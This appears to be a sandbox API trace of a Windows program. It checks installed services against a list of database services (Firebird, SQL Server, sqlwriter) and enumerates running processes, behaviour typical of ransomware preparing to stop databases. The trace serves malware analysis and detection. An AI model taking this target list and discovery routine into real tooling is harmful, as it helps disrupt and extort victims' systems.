	[0184.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0184.127] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0184.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0184.127] lstrlenW (lpString="NcbService") returned 10
	[0184.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0184.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0184.127] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0184.127] lstrlenW (lpString="netprofm") returned 8
	[0184.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0184.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0184.127] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0184.127] lstrlenW (lpString="NgcSvc") returned 6
	[0184.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0184.127] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0184.128] lstrlenW (lpString="NlaSvc") returned 6
	[0184.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0184.128] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0184.128] lstrlenW (lpString="nsi") returned 3
	[0184.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0184.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0184.128] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0184.128] lstrlenW (lpString="PcaSvc") returned 6
	[0184.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0184.128] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0184.128] lstrlenW (lpString="PlugPlay") returned 8
	[0184.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0184.128] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0184.128] lstrlenW (lpString="Power") returned 5
	[0184.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0184.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0184.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0184.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0184.129] lstrlenW (lpString="ProfSvc") returned 7
	[0184.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0184.129] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0184.129] lstrlenW (lpString="RpcEptMapper") returned 12
	[0184.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0184.129] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0184.129] lstrlenW (lpString="RpcSs") returned 5
	[0184.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0184.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0184.129] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0184.129] lstrlenW (lpString="SamSs") returned 5
	[0184.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0184.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0184.129] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0184.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0184.129] lstrlenW (lpString="Schedule") returned 8
	[0184.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0184.130] lstrlenW (lpString="SecurityHealthService") returned 21
	[0184.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0184.130] lstrlenW (lpString="SENS") returned 4
	[0184.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0184.130] lstrlenW (lpString="ShellHWDetection") returned 16
	[0184.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0184.130] lstrlenW (lpString="Spooler") returned 7
	[0184.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0184.130] lstrlenW (lpString="StateRepository") returned 15
	[0184.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0184.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0184.130] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0184.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0184.130] lstrlenW (lpString="SysMain") returned 7
	[0184.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0184.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0184.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0184.131] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0184.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0184.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0184.131] lstrlenW (lpString="Themes") returned 6
	[0184.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0184.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0184.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0184.131] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0184.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.131] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0184.131] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0184.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x617800 | out: hHeap=0x5d0000) returned 1
	[0184.131] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0184.140] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0184.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0184.141] lstrlenW (lpString="System") returned 6
	[0184.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0184.141] lstrlenW (lpString="smss.exe") returned 8
	[0184.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.142] lstrlenW (lpString="csrss.exe") returned 9
	[0184.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0184.143] lstrlenW (lpString="wininit.exe") returned 11
	[0184.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.143] lstrlenW (lpString="csrss.exe") returned 9
	[0184.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0184.144] lstrlenW (lpString="winlogon.exe") returned 12
	[0184.144] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0184.145] lstrlenW (lpString="services.exe") returned 12
	[0184.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0184.145] lstrlenW (lpString="lsass.exe") returned 9
	[0184.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.146] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.146] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.146] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.146] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.147] lstrlenW (lpString="svchost.exe") returned 11
	[0184.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.147] lstrlenW (lpString="svchost.exe") returned 11
	[0184.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0184.148] lstrlenW (lpString="dwm.exe") returned 7
	[0184.148] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.148] lstrlenW (lpString="svchost.exe") returned 11
	[0184.149] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.149] lstrlenW (lpString="svchost.exe") returned 11
	[0184.149] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.150] lstrlenW (lpString="svchost.exe") returned 11
	[0184.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.150] lstrlenW (lpString="svchost.exe") returned 11
	[0184.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.151] lstrlenW (lpString="svchost.exe") returned 11
	[0184.151] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.151] lstrlenW (lpString="svchost.exe") returned 11
	[0184.151] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.152] lstrlenW (lpString="svchost.exe") returned 11
	[0184.152] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.152] lstrlenW (lpString="svchost.exe") returned 11
	[0184.152] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.153] lstrlenW (lpString="svchost.exe") returned 11
	[0184.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.153] lstrlenW (lpString="svchost.exe") returned 11
	[0184.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0184.154] lstrlenW (lpString="spoolsv.exe") returned 11
	[0184.154] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.155] lstrlenW (lpString="svchost.exe") returned 11
	[0184.155] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0184.155] lstrlenW (lpString="audiodg.exe") returned 11
	[0184.155] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0184.156] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0184.156] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0184.156] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0184.156] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0184.367] lstrlenW (lpString="Memory Compression") returned 18
	[0184.367] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0184.367] lstrlenW (lpString="sihost.exe") returned 10
	[0184.367] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.368] lstrlenW (lpString="svchost.exe") returned 11
	[0184.368] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.368] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.368] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.368] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.368] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0184.369] lstrlenW (lpString="explorer.exe") returned 12
	[0184.369] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0184.369] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0184.369] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0184.370] lstrlenW (lpString="SearchUI.exe") returned 12
	[0184.370] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0184.370] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0184.370] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0184.371] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0184.371] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0184.371] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.371] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.371] lstrlenW (lpString="dllhost.exe") returned 11
